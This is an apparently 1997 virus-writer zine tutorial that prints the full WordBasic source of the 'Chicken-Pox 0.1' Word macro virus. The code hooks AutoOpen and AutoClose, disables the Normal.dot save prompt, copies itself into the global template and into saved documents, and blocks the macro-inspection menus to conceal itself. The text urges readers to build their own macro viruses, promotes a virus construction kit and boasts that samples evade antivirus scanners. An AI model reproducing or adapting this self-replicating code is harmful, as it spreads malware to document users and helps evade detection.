��������������������
                          [�Art On Macro Virii�]
                           ��������������������
                             by fOX'z NoMercy


Greeting to:
SLAM MEMBERS (DarkChasm and friends)
VBB  MEMBERS (Pyro and friends)
Cicatrix     (The Major Collector)
Indonesian Macro Virii Creator

------------------
Tools/parts you needed:
       - A computer with keyboard and Rat
       - Windows 3.xx or Win9x
       - WinWord 6
       - Piece of Graphic
       - Your brain
       - Chicken-Pox 0.1 or NoMercy ][ Macro Viruses (for samples)

******************************************
CAPTURE I. Take a look the samples first.
******************************************

 Open Chicken-Pox 0.1 don't "NoMercy ][" (too dangerous for you), take a look
what kind of art you can show up to your victim(s). Try Open ToolsMacro or some
thing else for tracking Macro, did you see the art?, other way set your comp.
date to 1 or 31. How it's work ??...

********************************
CAPTURE ][.Make Your Own Macro.
********************************
 This is Macro From Chicken-Pox 0.1 that created by CVCK
==============
AutoOpen
==============
'--------------------------------------------
' Created using CVCK v.01 b
'(C)CrazybitS 1997, Yogyakarta, Indonesia
'--------------------------------------------
Dim Shared fn$
Sub MAIN
DisableAutoMacros 0                     'Enables auto macro
ToolsOptionsSave .GlobalDotPrompt = 0'disbled prompt saving normal dot
fn$ = FileName$()
If Cins = 0 Then
       Call infect
       Call CopyPic  'HERE THE ART BEGIN !!! (copy pict from virus to NORMAL.DOT)
EndIf
Call ActionDate
End Sub

Function Cins
Cins = 0
If CountMacros(0) <> 0 Then
For i = 1 To CountMacros(0)
       If MacroName$(i, 0) = "Action" Then
               Cins = 1
       EndIf
Next i
EndIf
End Function

Sub infect
suc = CM("AutoExec", "DefeatAV")
suc = CM("AutoOpen", "StdOpen")
suc = CM("stdClose", "AutoClose")
suc = CM("ActionDate", "ActionDate")
suc = CM("Action", "Action")
suc = CM("Action2", "Action2")
suc = CM("FileTemplates", "FileTemplates")
suc = CM("ToolsMacro", "ToolsMacro")
suc = CM("ToolsCustomize", "ToolsCustomize")
suc = CM("Organizer", "Organizer")
suc = CM("HelpAbout", "HelpAbout")
End Sub

Sub CopyPic
normal$ = MacroFileName$("DefeatAV") 'check on normal if found let it be if no copy it
Organizer .Copy, .Source = FileName$(), .Destination = normal$, .Name = "Chicken", .Tab = 1
End Sub

Function CM(CMN$, SMN$)
cfn$ = FileName$()
               MacroCopy cfn$ + ":" + CMN$, �
               "Global:" + SMN$
CM = 1
End Function


===============
stdClose
===============
'--------------------------------------------
' Created using CVCK v.01 b
'(C)CrazybitS 1997, Yogyakarta, Indonesia
'--------------------------------------------
Dim Shared fn$, Normal$

Sub MAIN
DisableAutoMacros 0                     'Enables auto macro
ToolsOptionsSave .GlobalDotPrompt = 0'disbled prompt saving normal dot
fn$ = FileName$()
Normal$ = MacroFileName$("DefeatAV")
If Cins = 0 Then
       Call infect
EndIf
End Sub

Function Cins
Cins = 0
If CountMacros(1) <> 0  Then    'active template
For i = 1 To CountMacros(1)     'active template
       If MacroName$(i, 1) = "Action" Then
               Cins = 1
       EndIf
Next i
EndIf
End Function

Sub infect
succ = CM("DefeatAV", "AutoExec")
succ = CM("StdOpen", "AutoOpen")
succ = CM("AutoClose", "stdClose")
succ = CM("Action", "Action")
succ = CM("ActionDate", "ActionDate")
suc = CM("Action2", "Action2")
suc = CM("FileTemplates", "FileTemplates")
suc = CM("ToolsMacro", "ToolsMacro")
suc = CM("ToolsCustomize", "ToolsCustomize")
suc = CM("Organizer", "Organizer")
suc = CM("HelpAbout", "HelpAbout")
       SaveIt
       CopyPic   'HERE THE ART BEGIN ! (Copy from NORMAL.DOT to Filesave/Newdoc)
       SaveIt
End Sub

Sub SaveIt
Fn$ = FileName$()
Dim Dlg As FileSaveAs
       If (Dlg.Format <> 1) Then
               FileSaveAs .Format = 1', .AddToMru = 0
               FileSave
       Else
               FileSave
       EndIf
End Sub

Sub CopyPic
Fn$ = FileName$() 'New doc/Filesave
Fm$ = MacroFileName$("DefeatAV") 'check on NORMAL.DOT if found copy it, if no ignore
Organizer .Copy, .Source = fm$, .Destination = Fn$, .Name = "Chicken", .Tab = 1
End Sub


Function CM(CMN$, SMN$)
cfn$ = FileName$()
               MacroCopy "Global:" + CMN$, �
               cfn$ + ":" + SMN$
CM = 1
End Function


=============
HelpAbout
=============
Sub MAIN
Begin Dialog UserDialog 514, 388, "About Us (CrazybitS)"
       Picture 10, 6, 496, 67, "Chicken", 1, .Picture1
       PushButton 137, 343, 269, 26, "[pox-poX-pOX-POX-POx-Pox-pox]", .Push2
       Text 41, 83, 417, 53, "Hello there.......,                                                    After a month we learning WordBasic Macro Language we has finisihed Our Constructions Kit and we named CVCK V0.2 (CrazybitS Virii Constructions Kits)", .Text1
       Text 41, 140, 417, 55, "Before we make Our Own Construction we (myself and mybrother) make our Virii manually, after we got idea why we don't make own construction kit like NJWMVCK or anything else.", .Text2
               Text 43, 197, 415, 27, "Finally we did it, and we love it!.                               Some Virii from Us :                              ", .Text3
               Text 96, 227, 253, 13, "1. NoMercy (kown as ShowOff.G)", .Text5
               Text 96, 242, 61,  13, "2. Ririn ", .Text6
               Text 96, 257, 169, 13, "3. 10face (DasaMuka)", .Text7
               Text 96, 273, 300, 13, "4. No Mercy ][ (the Madness continues)", .Text8
               Text 96, 292, 145, 13, "5. Chicken-Pox 0.1", .Text9
End Dialog
Dim Dlg As UserDialog
Dialog Dlg
End Sub


================
ToolsMacro, FileTemplates, Organizer, ToolsCustomize
======================================================
Sub MAIN
Begin Dialog UserDialog 514, 226, "Chicken say ........."
       Picture 10, 6, 496, 67, "Chicken", 1, .Picture1
       PushButton 137, 195, 269, 21, "[pox-poX-pOX-POX-POx-Pox-pox]", .Push2
       Text 41, 83, 417, 36, "Hello there......., this command was blocked by Chicken Pox Macro Virii", .Text1
       Text 41, 118, 417, 29, "This is sample from Our Generator Virii, we named our generator CVCK V0.2. It's very user friendly !, try it !", .Text2
       Text 41, 156, 417, 26, "This Virii is not Dangerous !, If you want try our CVCK V0.2 email Us on " + Chr$(34) + "[email protected]" + Chr$(34), .Text3
End Dialog
Dim Dlg As UserDialog
Dialog Dlg
End Sub



========
Action
========
Sub MAIN
normal$ = MacroFileName$("DefeatAV") 'check on NORMAL.DOT
Organizer .Copy, .Source = FileName$(), .Destination = normal$, .Name = "Chicken", .Tab = 1
Begin Dialog UserDialog 514, 226, "[pox-poX-pOX-POX-POx-Pox-pox]"
       Picture 10, 6, 496, 67, "Chicken", 1, .Picture1
       OKButton 208, 194, 88, 21
       Text 41, 83, 417, 36, "On April 1997, after No Mercy ][ was launched......... Chicken-Pox 0.1 released for continues my madness about macro viruses", .Text1
       Text 41, 125, 417, 29, "Once again  from the dark side of Yogya City a new macro virus was born !", .Text2
       Text 41, 156, 417, 27, "This is sample from CVCK. Its easy. Try it !. This Virii are not Dangerous!", .Text3
End Dialog
Dim Dlg As UserDialog
Dialog Dlg
End Sub


=========
Action2
=========
Sub MAIN
normal$ = MacroFileName$("DefeatAV") 'Check on NORMAL.DOC
Organizer .Copy, .Source = FileName$(), .Destination = normal$, .Name = "Chicken", .Tab = 1

Begin Dialog UserDialog 514, 226, "[pox-poX-pOX-POX-POx-Pox-pox]"
       Picture 10, 6, 496, 67, "Chicken", 1, .Picture1
       PushButton 103, 189, 280, 21, "pox-poX-pOX-P&OX-POx-Pox-pox", .Push1
       Text 41, 83, 417, 36, "Greeting to everyone who " + Chr$(34) + "Love Virii" + Chr$(34) + ", the " + Chr$(34) + "Maker of Virii" + Chr$(34) + " or who " + Chr$(34) + "collector of Virii" + Chr$(34) + " and specially to YOU ", .Text1
       Text 41, 119, 417, 29, "This is sample from CVCK 0.2, our Virii Generator after one month in Macro ! (March-April '97)", .Text2
       Text 41, 156, 417, 27, "Send me  email on " + Chr$(34) + "[email protected]" + Chr$(34) + " if you want try CVCK V0.2, don't worry this CVCK is FREE !", .Text3
End Dialog
Dim Dlg As UserDialog
Dialog Dlg
End Sub


===========
ActionDate
===========
Sub MAIN
If Day(Now()) = 11 Then
ToolsMacro .Name = "Action", .Run
EndIf
If Day(Now()) = 31 Then
ToolsMacro .Name = "Action2", .Run
EndIf
End Sub
===
 That the source code from Chicken Pox, now make your own macro virus.
Be creative! and lets go f*****g  !


**************************
]I[. How to make Picture
**************************

 If you already have a picture (any format e.i gif) you can start now.
here like this way
- insert picture,
- then select that picture,
- goto edit autotext fill with  name you like
 (in Chiken-Pox pic named with "Chicken")
- then push add button
- delete that pict
- try type what you named your pict before and press F3
- if you see your pict, that mean you already have an autotext

******************
IV. Try CVCK 0.1b
******************

 After one month in Macro..... finally we did it !, that CVCK very easy,
finally I say :
 "More people know your ability..... More enemy will you get!"



comment, idea or something else please contact me at
                [email protected]
BTW... my old address still active (if you know!)


                   ---[ [email protected] ]---

==========================] T H E    E N D  [==============================
also visir NoMercy Online
http://www.geocities.com/ResearchTriangle/3996
























Wait next issue !























Hey wake Up!
























again?



















are you mad?




















no thing to do




















STOP!!






















Our Logo !  (what's you think)
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
�����������������������������������������������������������������������������
�����������������������������������������������������������������������������
�����������������������������������������������������������������������������
�����������������������������������������������������������������������������
�����������������������������������������������������������������������������
�����������������������������������������������������������������������������
�����������������������������������������������������������������������������
�����������������������������������������������������������������������������
�����������������������������������������������������������������������������
�����������������������������������������������������������������������������
�����������������������������������������������������������������������������
�����������������������������������������������������������������������������
�����������������������������������������������������������������������������
�����������������������������������������������������������������������������
�����������������������������������������������������������������������������
�����������������������������������������������������������������������������
��������(c) The Nomercy� '97�������������������������������������������������
�����������������������������������������������������������������������������
�����������������������������������������������������������������������������
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx





























































Mmmmmmmm






















P.S
 After one month in Macro..... here the viruses we product !
- NoMercy 1.7b                        -> scaned as ShowOff.G
- Ririn (Beyond the NoMercy)          -> scaned as ShowOff.R
- 10Faces (DasaMuka)                  -> scaned as Mercy.A
- NoMercy ][ (the Madness Continues)  -> when the author write this issue,
                                        still unscan!
- Chicken-Pox 0.1                     -> when the author write this issue,
                                        still unscan!
- Chicken Ass (coming soon)           -> we make new when the old was
                                        scaned! \:)